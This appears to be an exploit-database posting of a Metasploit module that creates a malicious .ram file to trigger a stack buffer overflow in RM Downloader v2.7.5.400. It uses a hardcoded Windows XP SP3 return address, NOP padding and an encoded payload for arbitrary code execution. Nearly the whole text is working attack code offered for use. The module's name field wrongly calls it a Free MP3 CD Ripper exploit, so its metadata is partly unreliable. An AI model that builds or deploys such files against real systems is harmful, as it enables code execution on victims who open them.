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RM Downloader v2.7.5.400 Local Buffer Overflow (MSF)

Author: TUNISIAN CYBER , Published: 03-05-2015
###
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow (MSF)
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=1427318981_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-#streamRM-MP3Converter.exe
#[+] Twitter: @TCYB3R
##

##
# $Id: rmdownloader_bof.rb 2015-04-01 03:03 TUNISIAN CYBER $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Free MP3 CD Ripper 1.1 Local Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack buffer overflow in RM Downloader v2.7.5.400
creating a specially crafted .ram file, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'TUNISIAN CYBER', # Original
'TUNISIAN CYBER' # MSF Module
],
'Version' => 'Version 2.7.5.400',
'References' =>
[
[ 'URL', 'https://www.exploit-db.com/exploits/36502/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP-SP3 (EN)', { 'Ret' => 0x7C9D30D7} ]
],
'Privileged' => false,
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.ram']),
], self.class)
end

def exploit

sploit = rand_text_alphanumeric(35032) # Buffer Junk
sploit << [target.ret].pack('V')
sploit << make_nops(4)
sploit << payload.encoded

tc = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(tc)

end

end

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